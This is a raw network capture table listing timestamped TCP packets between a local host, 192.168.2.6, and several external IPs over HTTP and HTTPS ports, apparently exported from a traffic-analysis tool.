Dec 9, 2024 21:09:11.258172989 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.258214951 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.258291006 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.258326054 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.259227037 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.259258032 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.259268045 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.259285927 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.260328054 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.260375023 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.260399103 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.260437965 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.261434078 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.261496067 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.261538982 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.261584044 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.262485981 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.262528896 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.262638092 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.262675047 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.263731956 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.263828993 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.263979912 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.264019966 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.264650106 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.264695883 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.264780045 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.264813900 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.265726089 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.265775919 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.265857935 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.265898943 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.266846895 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.266895056 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.267013073 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.267054081 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.267882109 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.267925024 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.267993927 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.268040895 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.269012928 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.269054890 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.269118071 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.269160032 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.405313969 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.405400991 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.405421972 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.405459881 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.405819893 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.405864954 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.405935049 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.405978918 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.406871080 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.406935930 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.406968117 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.407010078 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.407994032 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.408035994 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.408142090 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.408185959 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.409080982 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.409123898 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.409205914 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.409251928 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.410156012 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.410197973 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.410270929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.410314083 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.411720037 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.411757946 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.411881924 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.411927938 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.412338972 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.412383080 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.412566900 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.412611008 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.413465977 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.413511038 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.413610935 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.413654089 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.414474010 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.414516926 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.414554119 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.414596081 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:12.270268917 CET	49867	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:12.270292997 CET	443	49867	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:12.270356894 CET	49867	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:12.273401976 CET	49867	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:12.273421049 CET	443	49867	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:13.494678974 CET	443	49867	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:13.494827032 CET	49867	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:13.496443987 CET	49867	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:13.496452093 CET	443	49867	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:13.496711969 CET	443	49867	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:13.543504000 CET	49867	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:13.544904947 CET	49867	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:13.544934034 CET	49867	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:13.544996977 CET	443	49867	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:13.606786966 CET	49854	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:13.607101917 CET	49868	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:13.726453066 CET	80	49868	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:13.726516962 CET	80	49854	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:13.726679087 CET	49854	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:13.726680994 CET	49868	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:13.726845026 CET	49868	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:13.846195936 CET	80	49868	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:14.202681065 CET	443	49867	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:14.202775002 CET	443	49867	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:14.202827930 CET	49867	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:14.204663038 CET	49867	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:14.204675913 CET	443	49867	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:14.254405022 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:14.254422903 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:14.254487038 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:14.254817009 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:14.254827023 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:15.076961994 CET	80	49868	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:15.077060938 CET	49868	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:15.177334070 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:15.177695990 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:15.297094107 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:15.297138929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:15.297169924 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:15.297197104 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:15.297434092 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:15.416625977 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:15.473200083 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:15.473267078 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:15.474750042 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:15.474756956 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:15.474997044 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:15.476412058 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:15.476471901 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:15.476495981 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.213033915 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.213097095 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.213143110 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.213176012 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.213203907 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.213221073 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.213248968 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.215747118 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.215874910 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.215922117 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.215931892 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.215984106 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.224222898 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.232583046 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.232644081 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.232652903 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.277986050 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.337275982 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.389707088 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.405076027 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.408849001 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.408881903 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.408889055 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.408898115 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.408981085 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.409030914 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.409173965 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.409182072 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.409213066 CET	49873	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.409218073 CET	443	49873	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.546993017 CET	49879	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.547019958 CET	443	49879	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.547122002 CET	49879	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.547411919 CET	49879	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:16.547425985 CET	443	49879	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:16.795213938 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.795227051 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.795295954 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.795988083 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.796032906 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.796077013 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.796087980 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.796108961 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.796123981 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.796125889 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.796134949 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.796139002 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.796153069 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.796168089 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.796174049 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.796199083 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.796222925 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.902034044 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.902134895 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.914647102 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.914705038 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.914756060 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.914798975 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.918787003 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.918833971 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.918853045 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.918895006 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.927136898 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.927195072 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.927346945 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.927392006 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.935591936 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.935672998 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.935914993 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.935960054 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.943955898 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.944006920 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.944067955 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.944108963 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.952330112 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.952382088 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.952411890 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.952449083 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.960665941 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.960675955 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.960719109 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.968945026 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.968993902 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.969027996 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.969069958 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.977318048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.977368116 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:16.977440119 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:16.977485895 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.021686077 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.021759033 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.034137964 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.034199953 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.036185026 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.036233902 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.036283016 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.036329031 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.044584036 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.044642925 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.044687033 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.044734001 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.052930117 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.052989006 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.053014994 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.053059101 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.061290979 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.061333895 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.061342955 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.061373949 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.069602013 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.069653988 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.069717884 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.069761992 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.078080893 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.078144073 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.078247070 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.078293085 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.086332083 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.086391926 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.086509943 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.086555004 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.094705105 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.094748020 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.094762087 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.094791889 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.103081942 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.103132010 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.103159904 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.103198051 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.111479044 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.111541986 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.111550093 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.111584902 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.119803905 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.119847059 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.119856119 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.119884014 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.141149998 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.141239882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.141273975 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.141320944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.153541088 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.153620958 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.153645039 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.153697014 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.155740976 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.155801058 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.155838966 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.155878067 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.160245895 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.160310984 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.160337925 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.160389900 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.164422989 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.164434910 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.164474010 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.168782949 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.168889999 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.168972969 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.169024944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.172944069 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.172992945 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.173120022 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.173162937 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.177228928 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.177278042 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.177290916 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.177333117 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.181500912 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.181550980 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.181626081 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.181672096 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.185669899 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.185723066 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.185741901 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.185786963 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.190220118 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.190231085 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.190275908 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.194178104 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.194232941 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.194256067 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.194304943 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.198288918 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.198343992 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.198367119 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.198411942 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.202471018 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.202517986 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.202528000 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.202573061 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.206670046 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.206851959 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.208762884 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.208822012 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.208832979 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.208874941 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.212981939 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.213032007 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.213119984 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.213172913 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.217097044 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.217159986 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.217228889 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:17.217272997 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:17.221365929 CET	80	49874	31.41.244.11	192.168.2.6
